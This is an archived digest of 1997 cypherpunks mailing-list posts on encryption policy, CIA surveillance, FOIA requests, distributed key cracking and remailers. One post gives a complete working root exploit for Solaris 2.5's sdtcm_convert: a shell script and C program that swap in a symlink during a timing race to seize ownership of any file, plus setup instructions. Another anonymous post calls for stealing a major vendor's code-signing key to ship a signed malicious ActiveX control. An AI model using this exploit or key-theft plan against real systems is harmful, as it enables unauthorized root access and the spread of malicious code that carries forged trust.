Date: Sat, 22 Feb 1997 19:19:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dark Times Ahead
Message-ID: <19970223031916.13758.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Predictions for the Year

1.  Encryption without "Key Escrow" will be outlawed.  The remailer
    network will be shutdown following highly public raids that 
    result in equipment seizures and prosecution of the remailer
    operators using RICO statutes after agents provocateur post
    terrorist threats to the Internet.
2.  Tobacco companies will cave in to the states on liability for
    medical costs and declare bankruptcy.  The few remaining small
    companies not party to the suits will see themselves targeted
    after prices on a pack of cigarettes rises to 1000% of the 
    current price.  Two years from now, cigarettes will be almost 
    impossible to get and result in smuggling on a scale that dwarfs 
    cocaine and marijuana trafficing.
3.  The NSA's prohibition on domestic surveillance will be lifted 
    following allegations of massive money laundering via the Internet
    and rumors that major American banks have been raided via the
    net by Russian mafia.
4.  The IRS will go to court to force the National Rifle Association
    to turn over its membership lists as the agency audits the books
    of the non-profit organization.  After obtaining the lists, the
    IRS will target the members for special auditing programs.
5.  The FBI will direct the implementation of the Digital Telephony
    Act after Congress finally caves in and provides the funding.  A
    new protocol for wiretapping will be implemented as provided for
    in the Act that does not allow for judicial review.
6.  The Supreme Court will surprise everyone by upholding the 
    Communications Decency Act in a 5-4 decision.  The FBI will stage
    widely publicized raids on the most visible adult web sites.

Pan D. Modium
pandemodium@nym.alias.net
"May you live in interesting times." -- ancient Chinese curse




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 23 Feb 1997 06:12:24 -0800 (PST)
To: "Pan D.Modium" <pandemodium@nym.alias.net>
Subject: Re: Dark Times Ahead
In-Reply-To: <19970223031916.13758.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.GSO.3.95.970223090719.654B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




On 23 Feb 1997, Pan D.Modium wrote:

> Predictions for the Year

> 2.  Tobacco companies will cave in to the states on liability for
>     medical costs and declare bankruptcy.  The few remaining small
>     companies not party to the suits will see themselves targeted
>     after prices on a pack of cigarettes rises to 1000% of the 
>     current price.  Two years from now, cigarettes will be almost 
>     impossible to get and result in smuggling on a scale that dwarfs 
>     cocaine and marijuana trafficing.

When I was a kid, we'd just grab a tobacco leaf in the barn and roll it up
in a piece of paper.  Informal cigarettes will always be easy to get.  But
the FDA will have an excuse to start fielding large SWAT teams.

Brad

attention:

WKEWE EOXEN RILKX OC'QD ,CYEL
VPJVL KRLKC IQ'BM E;SRF U;RVU





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 23 Feb 1997 11:24:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead - sort of off-topic
In-Reply-To: <19970223031916.13758.qmail@anon.lcs.mit.edu>
Message-ID: <v03010d04af3643c104a8@[17.219.102.37]>
MIME-Version: 1.0
Content-Type: text/plain


"Pan D.Modium" <pandemodium@nym.alias.net> writes, in part:

>2.  Tobacco companies will cave in to the states on liability for
>    medical costs and declare bankruptcy.  The few remaining small
>    companies not party to the suits will see themselves targeted
>    after prices on a pack of cigarettes rises to 1000% of the
>    current price.  Two years from now, cigarettes will be almost
>    impossible to get and result in smuggling on a scale that dwarfs
>    cocaine and marijuana trafficing.

Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are
a choice smuggling item. I vaguely recall a price of $200 per
cigarette (but note that, in a prison economy, the "dollar" is
only loosely connected to reality.

I can imagine a National Smokers Association: "When cigarettes
are outlawed, only outlaws will have cigarettes" -- or, somewhat
more appropriately, "you can have my cigarette when you pry my
cold dead fingers off of it."

Martin Minow (non-smoker, other vices not discussed)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Sun, 23 Feb 1997 01:21:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Exploit for sdtcm_convert - Solaris 2.5 - second
Message-ID: <Pine.GSO.3.95.970223111505.1649C-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain



Sun Feb 23 10:36:58 EET 1997 Romania

"Exploit for sdtcm_convert - Solaris 2.5"

I send you an e-mail about a bug and an exploit for sdtcm_convert.
(sdtcm_convert allows you to become owner of any file or directory from
the system - and gain root access )

First, there was some problems with my uuencoded exploit (some damaged it
on the route...) so i'll resend you the files for exploit.

Second, Casper Dick send me:

>Is this the bug fixed in the Sun patches:

>103670-02: CDE 1.0.2: sdtcm_convert has a security vulnerability
>103671-02: CDE 1.0.1: sdtcm_convert has a security vulnerability
>103717-02: CDE 1.0.2: sdtcm_convert has a security vulnerability (x86
version)
>103718-02: CDE 1.0.1: sdtcm_convert has a security vulnerability (x86
version)


>or is it a new one?

>Casper

I cant found this patches to verify if that fix the problem i have
found or not. Anyway you have an exploit ! (execute 'thefist' and wait)

Cristian Schipor - Computer Science Faculty - Bucharest - Romania

Email: skipo@math.pub.ro skipo@sundy.cs.pub.ro skipo@ns.ima.ro
Phone: (401) 410.60.88


------------------------- file thefirst ------------------------------------
/bin/echo "orange.c -> orange"
gcc -o orange orange.c

/usr/ucb/whoami > wh
read USER < ./wh

#watching for callog file if it isnt will stop
if ! test -f /var/spool/calendar/callog.$USER; then
  /bin/echo "I cant found callog file. Please read README and create it"
  exit;
fi

/bin/echo "what's the target ???"
read TARGET

/bin/echo /bin/chmod 000 /var/spool/calendar/callog.$USER >lemon
/bin/echo /usr/dt/bin/sdtcm_convert $USER >>lemon
/bin/chmod 700 ./lemon

./orange $TARGET $USER

------------------------- end --------------------------
------------------------ file orange.c ---------------------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define path  "/var/spool/calendar/callog."


void main(int argc, char *argv[])
{
int pid,filedes[2];
FILE *f;
struct stat info;
long i;
char target[128],shift[128];
	
	strcpy(target,argv[1]);
	strcpy(shift,path);
	strcat(shift,argv[2]);
	if(pipe(filedes))
	{
		perror("cant crate pipe\n");
		exit(0);
	}	
	if(pid=fork()==0)
	{
		for(i=0;i<30000000;i++);
		unlink(shift);
		symlink(target,shift);
		write(filedes[1],"y\n",sizeof("y\n"));
	}				
	else 
	{
		close(0);
		dup(filedes[0]);
		system("lemon");
		stat(target,&info);
		if(info.st_uid==getuid()) printf("COLL I did IT !!!\n");
	}
	
}

------------------------ end ----------------------------
------------------------ file README ----------------------
*How to make a simple callog file*

If you dont have a /var/spool/calendar/callog.YOU edit callog.example,
replace 'skipo' with your user name and 'sundy.cs.pub.ro' with your
machine name (try first the short name, example: sundy and if you'll have
troubleshotings try the long name, example sundy.cs.pub.ro). After that
copy the new callog file in /var/spool/calendar/callog.YOUR_USER_NAME, run
once sdtcm_convert with your user name (example sdtcm_convert skipo)
and wait for corrections. Now you are ready to run the exploit.
Another way is to run calendar tool from CDE.
------------------------- end -------------------------------
------------------------ file callog.example ------------------------
Version: 4
**** start of log on Fri Dec  6 14:07:43 1996 ****

(calendarattributes ("-//XAPIA/CSA/CALATTR//NONSGML Access List//EN","10:access_list","world:2")
("-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN","5:string","skipo@sundy.cs.pub.ro")
("-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN","6:user","skipo@sundy.cs.pub.ro")
("-//XAPIA/CSA/CALATTR//NONSGML Character Set//EN","5:string","C.ISO-8859-1")
("-//XAPIA/CSA/CALATTR//NONSGML Date Created//EN","7:date_time","19961206T120743Z")
("-//XAPIA/CSA/CALATTR//NONSGML Product Identifier//EN","5:string","-//DT//NONSGML Calendar Product Version 1//EN")
("-//XAPIA/CSA/CALATTR//NONSGML Version//EN","5:string","-//XAPIA/CSA/VERSION1/NONSGML CSA Version 1//EN")
)
-------------------------- end --------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Feb 1997 15:10:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: An Overweening Faith in the Supreme Court
In-Reply-To: <19970223142933.8389.qmail@anon.lcs.mit.edu>
Message-ID: <RZ8k3D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Pan D.Modium" <pandemodium@nym.alias.net> writes:
> In short, America has been sliding down the path to fascism at an
> amazing pitch since the early 80's.  Not once in history has a country
> gone this far down the path to tyranny and turned back.  America will
> not be the first.

Dunno about turning back but the U.S. does resemble in many ways
Argentina in the '40's and '50's. (It resembles the U.S.S.R in
the '70's in yet other ways. :-)

So, can you think of a good country to move to, besides Israel? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Feb 1997 10:14:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: CIA Lie
Message-ID: <1.5.4.32.19970223180814.006eb4ec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The Washington Post, February 20, 1997, p. A22:

   Domestic CIA Snooping

   The CIA's assertion on its Web page that the agency does
   not keep files on Americans is not in fact true ["In the
   Loop," Federal Page, Feb. 12]. The agency opened a file on
   my client, Daniel Tsang, a political activist and librarian
   at the University of California at Irvine, in the 1980s and
   recorded his constitutionally protected activities.

   When we sued the agency, we discovered that no agency
   directives prohibit the maintenance of such files and the
   CIA lawyers made the extraordinary claim that it is legal
   for the agency to keep files on Americans, including on
   citizens' First Amendment activities. The CIA claimed that
   it is exempt from Privacy Act restrictions on such
   practices.

   While the CIA eventually agreed to expunge Mr. Tsang's file
   and promised to refrain from opening such files on him in
   the future, it refused to acknowledge any limitation on its
   authority to keep files on other Americans. It should do so
   now.

   Kate Martin
   Washington

   The writer is director of the Center for National Security
   Studies, a project of the Fund for Peace.

   -----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Feb 1997 14:48:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead
Message-ID: <199702232248.OAA22931@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:38 PM 2/22/97 -0800, Mike Duvos wrote:
>Timothy C. May writes:
>
>> Oh? And will the First Amendment then be repealed?
>
>> "Congress shall make no law respecting the establishment of speech or
>> prohibiting the free exercise thereof" seems rather clear: Congress cannot
>> insist that a particular form of speech be used to the exclusion of others.
>
>> A ban on coding messages, speaking in languages unintelligible to
>> wiretappers, etc., would quite clearly be thrown out on First Amendment
>> grounds, from everything I know of the Supreme Court and its reasoning.
>
>The Supremes can bypass the First Ammendment anytime they choose by simply
>mumbling something about "society's overwhelming interest in protecting
>itself." 

I'd sure like to know how they figure out what "society" really wants to do! 
 In April of 1993, which the original Clipper chip/system was proposed, not 
all that many people had even heard of the Internet, and far fewer were 
aware of the details of encryption.  Surely they didn't mean to suggest that 
"society" was in favor of Clipper?  Blissfully ignorant, perhaps, but not in 
favor!  (B^)

Obviously, with their "If you only knew what we know" they'll claim that the 
public would have favored Clipper if it knew the real problems, but the way 
I see it, if they REALLY believed that there was a serious threat to 
anything other than merely their jobs, they would have done a better job 
convincing the public.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 23 Feb 1997 15:16:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: CIA Lie
In-Reply-To: <1.5.4.32.19970223180814.006eb4ec@pop.pipeline.com>
Message-ID: <3.0.1.32.19970223151811.006c60f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:08 PM 2/23/97 -0500, John Young wrote:
[...]
>   While the CIA eventually agreed to expunge Mr. Tsang's file
>   and promised to refrain from opening such files on him in
>   the future, it refused to acknowledge any limitation on its
>   authority to keep files on other Americans. It should do so
>   now.

I received a reply to my FOIA request re cpunks to the CIA; it indicates
that they "doubt" that they have any records responsive to my request, and
think I'd be better served by writing to the FCC. (?!) It's at
<http://www.io.com/~gbroiles/cp-foia/cia-1.html>. I'm going to write back
and ask them to actually comply with FOIA, e.g., look through their files,
instead of just guessing that there probably isn't anything in there. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Feb 1997 17:08:00 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: CIA Lie
Message-ID: <199702240107.RAA05569@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:18 PM 2/23/97 -0800, Greg Broiles wrote:
>I received a reply to my FOIA request re cpunks to the CIA; it indicates
>that they "doubt" that they have any records responsive to my request, and
>think I'd be better served by writing to the FCC. (?!) It's at
><http://www.io.com/~gbroiles/cp-foia/cia-1.html>. I'm going to write back
>and ask them to actually comply with FOIA, e.g., look through their files,
>instead of just guessing that there probably isn't anything in there. 


You could have said to them, "If you can't find anything, maybe you could 
make something up, okay?"

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 23 Feb 1997 17:48:07 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: CIA Lie
In-Reply-To: <199702240107.RAA05569@mail.pacifier.com>
Message-ID: <3.0.1.32.19970223175349.00ce2ee4@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:09 PM 2/23/97 -0800, jim bell wrote:
>
>You could have said to them, "If you can't find anything, maybe you could 
>make something up, okay?"

I think I'd only be disappointed, given the high quality of goofball
conspiracy theory I've grown accustomed to on the list. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Feb 1997 15:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead - sort of off-topic
In-Reply-To: <3310CC67.30EE@sk.sympatico.ca>
Message-ID: <69PL3D59w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Martin Minow wrote:
> > Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are
> > a choice smuggling item.
>
> > I vaguely recall a price of $200 per
> > cigarette (but note that, in a prison economy, the "dollar" is
> > only loosely connected to reality.
>
>   If it's been a while since you were released, then the prices
> have probably changed.

Ask Randall Schwartz (spit).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 23 Feb 1997 18:14:39 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: Re: Speculations on Espionage-Enabled Encryption
In-Reply-To: <199702232031.MAA11004@mail.pacifier.com>
Message-ID: <v03010d00af36a7c016f5@[17.219.103.242]>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell writes:
>
>Has it been established that Microsoft (is only/can only) sign crypto
>add-ons which are approved for export?  Since there are no restrictions
>domestically, presumably Microsoft can sign anything it wants.  If those
>versions ever manage to "sneak out" of the country, well that's too bad!
>

Here are some speculations based, in part, on my interpretation (repeat,
MY INTERPRETATION) of discussion on code signing at last year's
Java One conference:

-- Only the vendor, physically located in the USA, will sign crypto add-ons.
-- Since the add-ons are physically signed in the USA, the signed
   add-on must comply with all export regulations. I.e., no
   restriction on domestic use, various export control restrictions
   as appropriate to the crypto add-on.

I would presume that the add-on would be distributed public-key
encrypted, and could only be created by the holder of the corresponding
private key (i.e. the operating-system vendor) and, furthermore, could
only be run by an operating system that could decrypt the add-on package.
A vendor could presumably export operating system variants that
could not execute some subset of crypto add-ons because the variant
lacks the ability to decrypt the package.

In the long-term (3-5 years), I wouldn't be suprised to find the
decryption capability moved onto the processor chip, making the
problem of distribution strong crypto more difficult.

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Feb 1997 18:23:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: It is time to break Authenticode
Message-ID: <199702240222.SAA13104@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:09 PM 2/23/97 -0500, lucifer Anonymous Remailer wrote:
>Microsoft's recent arrogant and irresponsible reply to the Chaos
>Computer Club hack on ActiveX requires response. An effective response
>would be to steal the key of a major code signer and produce a signed,
>malicious ActiveX control. Such an attack would demonstrate the
>serious problems of Microsoft's security philosophy.
>
[trim]
>
>The best avenue of attack is stealing the secret key of a respected
>code signer. The target should be one of the major players, if not
>Microsoft itself. Someone is sloppy to store their secret key on a
>machine hooked to the Internet. Stealing it would be a very nice
>challenge. It should be doable.

I can think of an easier way.  If the goal is simply to demonstrate that the 
system can be broken, how about offering a not-insignificant amount of money 
to anonymous person who manages to successfully get code signed?  No 
exposure is necessary, just the signature done once.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Feb 1997 17:09:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: It is time to break Authenticode
Message-ID: <199702240109.UAA17912@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Microsoft's recent arrogant and irresponsible reply to the Chaos
Computer Club hack on ActiveX requires response. An effective response
would be to steal the key of a major code signer and produce a signed,
malicious ActiveX control. Such an attack would demonstrate the
serious problems of Microsoft's security philosophy.


Hackers have known since ActiveX was announced that its security model
is ridiculous. Signatures are not enough to protect users from
malicious code. Exploder and the CCC hack have done a great job of
demonstrating practical examples of why ActiveX is dangerous.

The CCC hack in particular has made the ActiveX security issue visible
enough that Microsoft has been forced to respond publically.
Unfortunately, their published response on http://www.microsoft.com/security/
does not begin to admit the fundamental flaws in ActiveX. Instead,
they continue to hide behind code signatures and mislead the public
that their system is no less secure than Java.

The obvious response to Microsoft's attempt at damage control is to
demonstrate an attack with a control signed by a reputable party.
There are three ways to do this: subvert an existing signed control,
subvert the signature protocols, or steal a signing key.


Subverting existing signed controls is an interesting avenue.
Currently used ActiveX controls have implementation bugs that could
be exploited in an attack. Finding one would be a fair amount of work,
however, and a successful attack would only show that code has bugs,
not demonstrate the fundamental flaw in relying on code signatures.

The signature protocols of Authenticode are presumably secure -
getting signatures right is well understood. Still, does anyone have
information on exactly how the signatures work?


The best avenue of attack is stealing the secret key of a respected
code signer. The target should be one of the major players, if not
Microsoft itself. Someone is sloppy to store their secret key on a
machine hooked to the Internet. Stealing it would be a very nice
challenge. It should be doable.

Stealing the key itself will almost certainly be an illegal act.
Morally, the demonstration signed control should itself not do damage.
Something like the Exploder control (which warns the user before
shutting down the machine) should be good enough to show the flaws of
ActiveX without causing trouble.


A public discussion about how to best go about this attack should be
interesting. For obvious reason, the attack itself would have to be
done in secrecy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Feb 1997 18:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: CIA Lie
Message-ID: <1.5.4.32.19970224020944.006e1e44@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


After eying the disingenuous CIA letter to Greg, it may be
worth eying disingenuous USG laws on electronic surveillance, 
most of which ostensibly apply to foreign targets but may catch 
US citizens in the global sweep, say, as on Cypherpunks -- 
keep at it, Greg.

We've put some of them on our site today, as listed at:

   http://jya.com/crypto.htm

fis.htm            Foreign Intelligence Surveillance (108K)
50usc402a.txt      Coordination of Counterintelligence
50usc438.txt       Access to Classified Information
18usc794.txt       Espionage and Censorship
18usc2511.txt      Electronic Communications Intercepts
18usc2709.txt      Electronic Records Access
15usc1681u.txt     Disclosures to FBI for Counterintelligence
12usc3414.txt      Right to Financial Privacy

For details not fully revelatory of the CIA's operations, see 
50USC413 et seq., by searching the United States Code at:

   http://www.access.gpo.gov/su_docs/aces/aaces002.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 23 Feb 1997 21:10:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
Message-ID: <199702240510.VAA28279@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:16 PM 2/21/97 -0500, Robert Hettinga wrote:
>--- begin forwarded text
...
>This symposium will consider a wide range of issues, including:
>
>**Differences in determining the electronic commerce income
>tax base.  Should source or residence rules be used, or should
>some form of formulary apportionment be applied?
>
>**Problems in imposing retail sales taxes on electronic sales.
>Should traditional nexus rules apply?
>
>**Problems in determining the value added by electronic
>commercial inputs.  Should a tax be determined based on the
>'bits' of information? If so, should each 'bit' be valued the
>same?
>
>**Problems involving the harmonization of tax rules.
>International and sub-national aspects of this problem will be
>considered. OECD efforts in this area will be contrasted with
>proposed uniform state legislation in the US.
>
>**Throughout the symposium the impact that these tax decisions
>will have on cross-border investment decisions will be a primary
>concern.
...
"Toll" tax.
If each packet were "taxed" as it entered a system, and due to the nature of
the internet, when traffic increases in certain areas, prices would go up,
driving activity back down, then each area could "tax" what it wanted.
The only real problem would be how to get people to pay.  Unlike the toll
booth at the entrance to a turnpike, internet users don't keep exact change.
There is no window to roll down to hand the attendant the money, there is no
accepted currency to hand the attendant either.
Taxation can't really begin until e-cash equipped browsers are common.
Plus, executables are fairly large, while text files tend to be small,
adding a bias against executables, images, and audio files.
In addition, since the packets have to originate from somewhere, the
location of the poster would get to tax at least.

Of course, if such a system were not mandatory in a region, then "freenets"
would get a whole new meaning.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 23 Feb 1997 21:10:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clipper article in  Cu Digest, #9.10, Wed 20 Feb 97
Message-ID: <199702240510.VAA28286@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:16 AM 2/21/97 -0800, Bill Stewart forewarded:
>CUD is available at  URL: http://www.soci.niu.edu/~cudigest/
>Here are some excerpts:
...
>>  The Defense Department plans to remove the government key escrow
>>  software from its Fortezza cards used on the Defense Message System, a
>>  move that signals the death of the Clinton administration's
>>  controversial Clipper initiative and one that should encourage
>>  civilian use of the cryptographic cards.
>>
>>  A DOD spokeswoman confirmed the decision to remove the key escrow but
>>  would not provide further details.
>>
>>  The DOD decision, which will be formalized in a policy expected out
>>  shortly, is in response to the administration's decision last October
>>  to support key recovery technology instead of the controversial
>>  Clipper initiative. Each agency must decide how it will implement the
>>  government's policy internally. A technical advisory committee will
>>  develop standards for a federal key management infrastructure.
>...
>>  DOD has for years pressured civilian agencies to use government escrow
>>  technology, but the agencies were wary of the law enforcement access.
>>  Stephen Walker, president and chief executive officer of Trusted
>>  Information Systems Inc. (TIS), said the policy will remove the last
>>  remnants of the Clipper and serve as an official endorsement of key
>>  recovery technology.
...
So instead of all of the keys being stored in some guarded vault, the parent
key which each chip uses to encrypt part of the users key when transmitting
is kept in some guarded vault.
That way they get the key in some 10 messages unless you rotate often.

Or the keys are assigned according to some unusual system.  Assuming that
only 10,000,000 people were interested in the cards, then only 2^24 keys, or
16777216 keys need to be assigned.  An additional 100+ bits of "key" can be
thrown in, so long as the government has those, or can reconstruct them from
the others.
If you can only affect part of the key, can't a brute force attack get you,
knowing that certain random digits were always the same?
Of course this would become too obvious really soon, unless some elaborate
system were used to rotate the garbage.  such as having bits 2, 5, 9, 11,
12, 14, and 19 tell which of 128 different garbage sets to throw in.
Please correct me if this is unfounded.
Please inform me if I'm on the right track.
Please tell me that I'm just irrationally paranoid so I can get some help.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sun, 23 Feb 1997 21:53:26 -0800 (PST)
To: coderpunks@toad.com
Subject: (Fwd) RC5-56 effort by New Media Laboratories
Message-ID: <199702240554.AAA12066@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


This came though on the RC5 challenge list. My apologies for those 
who already have seen it.

--Rob

------- Forwarded Message Follows -------
Date:          Sat, 22 Feb 1997 15:29:05 +0100
From:          lendl@cosy.sbg.ac.at (Otmar Lendl)
To:            challenge@list.ee.ethz.ch
Subject:       RC5-56 effort by New Media Laboratories

Hi all,

I just noticed that New Media Laboratories launched an attack at the RC5/56
challenge. For details see
	
	http://zero.genx.net/

Just FYI,

otmar
-- 
/ Otmar Lendl (lendl@cosy.sbg.ac.at) # http://www.cosy.sbg.ac.at/~lendl/  \  
\ Killfiles generate SEP fields. Beware: the CE-Norm does not cover them. /



-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles-nospam@netbox.com (Greg Broiles)
Date: Sun, 23 Feb 1997 17:44:21 -0800 (PST)
To: cryptography@c2.net
Subject: Distributed cracks, law, and cryptoanarchy
Message-ID: <3310e0fa.5573759@library.airnews.net>
MIME-Version: 1.0
Content-Type: text/plain


Some thoughts about the distributed crack/reward distribution thing:

The "you must report results only to the crack organizers" rule can be
enforced if it's made into a contract. Even without a formal contract,
I think it's plausible to argue that pretending to participate in the
distributed crack, *and representing that to the organizers and
thereby gaining access to their private database of already-searched
keyspace*, and using that information for one's own private gain,
could reasonably be construed as fraud. (depending on your
jurisdiction, blah blah blah. But the general pattern - knowing
misrepresentation, foreseeable & intended reliance, loss to one party
is gain for another -  is right at the heart of common-law fraud. 

The "widely distributed computing" approach depends for economic
viability (as opposed to being just an amusing hobby) on preserving
the confidentiality of input and output datasets. This protection can
be (and will be) provided by both law and technology. The
technological side will likely depend on programs distributed as
executables only. This implies a client-side "sandbox" environment
such as Java so that the software can't get to any of the local
hardware (except the processor & display). 

If distributed crack organizers can be confident that they'll be able
to reap the benefits of their organizing, they can offer payments to
unsuccessful participants. This approach (tiny payments for idle
cycles) scales better to real-world distributed computing problems
than the all-or-nothing $10K approach. Because of the need for
confidentiality, real-world distributed computing problems are
unlikely to give participants a chance at a "big win" if they cheat
somehow. (For example, assume Eve  intercepts some ciphertext, and she
knows enough about the structure of it that she can predict some of
its contents (like message headers, or TCP/IP headers) - she will ask
for keys which decrypt [a tiny piece of] the headers, and save the
juicy data for herself. A cheating participant in the distributed
crack gains very little by keeping the winning result to him/herself,
unless she knows more about the context of Eve's interception.)

I'm suspicious of the idea that a lot of people are going to
meaningfully participate in the crack because they've got a "chance"
to win $10K; assuming a wide distribution of client software, the
chances that any particular client will hit the key is unlikely to be
better than 1 in 10,000 or so (and my hunch is it's more like 1 in
100,000) .. which means that the "chance" is worth somewhere between
$1 and $.10. Personally, I'd be more motivated by the idea that the
crack might help kill stupid export control laws. Then again, I'm one
of those people who won't buy lottery tickets.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 24 Feb 1997 06:50:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702241450.GAA20987@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
